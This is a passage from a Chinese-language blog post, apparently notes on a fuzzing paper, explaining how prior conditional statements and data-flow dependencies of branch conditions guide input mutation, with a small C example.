411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 和 <em>s</em>在同一个函数内</p></li><li><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 不是 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 的 <em>post-dominator</em> (<em>post-dominator</em> ：如果 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 到<em>exit -point</em>的所有路径都经过 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> )</p></li></ul><p><em>Interprocedural immediate prior conditional statement</em>（ <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> of <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> ）</p><ul><li><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 不在同一个函数内</li><li>当 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 执行的时候， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="2.018ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 891.9 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mi" transform="translate(523,-150) scale(0.707)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span> 的返回地址在当前的栈中。</li><li><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.901ex" height="1.357ex" role="img" focusable="false" viewBox="0 -442 840.2 599.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(484,-150) scale(0.707)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g></g></g></g></svg></mjx-container></span> 是 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="2.018ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 891.9 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mi" transform="translate(523,-150) scale(0.707)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span> 执行过的最后一个调用， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.901ex" height="1.357ex" role="img" focusable="false" viewBox="0 -442 840.2 599.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(484,-150) scale(0.707)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g></g></g></g></svg></mjx-container></span> 不是 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 的<em>post-dominators</em></li></ul><p>文中还提到的路径分支包含<em>terminator</em>的情况，其实这种属于上面第一种情况了，因为第二个条件已经限定了。但是作者在这里还是特别的拿出来说了一下，我还是在这个放个小例子：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(x==<span class="number">1</span>){</span><br><span class="line">  <span class="built_in">exit</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(y==<span class="number">2</span>){<span class="comment">//target</span></span><br><span class="line">  <span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>1.2 分支条件的数据流依赖</strong></p><p>用 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="3.792ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 1676 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(429,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(818,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(1287,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 表示流到分支条件 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 上的<em>input bytes</em>集合， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 表示一个或者多个分支条件。当<em>input</em>在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 处可达，为了进入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 代表的分支，需要进一步修改<em>input</em>, 在修改之后， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.439ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3730 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 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-156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g></g></g></svg></mjx-container></span> ,这将直接导致根本无法进入L6所代表的分支。</p><p>这种情况下只考虑了分支条件的控制流依赖，并没有考虑路径条件之前的数据流依赖，这里文中又定义了第二种关系<em>effective prior conditional statements</em> ,我们需要稍微去改变一下上面我们的直觉，先忽略考虑<em>reachable</em>，我们需要改变 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 里面涉及到的<em>input bytes</em> ，改变这些<em>input bytes</em> 意味着 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.439ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3730 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 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30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(1202,0)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(1547,0)"><path data-c="1D45C" d="M201 -11Q126 -11 80 38T34 156Q34 221 64 279T146 380Q222 441 301 441Q333 441 341 440Q354 437 367 433T402 417T438 387T464 338T476 268Q476 161 390 75T201 -11ZM121 120Q121 70 147 48T206 26Q250 26 289 58T351 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data-mml-node="mi" transform="translate(2872,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(3341,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 里面和它相关的路径条件的选择可能就会发生变化，我们需要尽可能保证他们的选择，所以应该去重点修改 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="18.827ex" height="2.262ex" role="img" focusable="false" 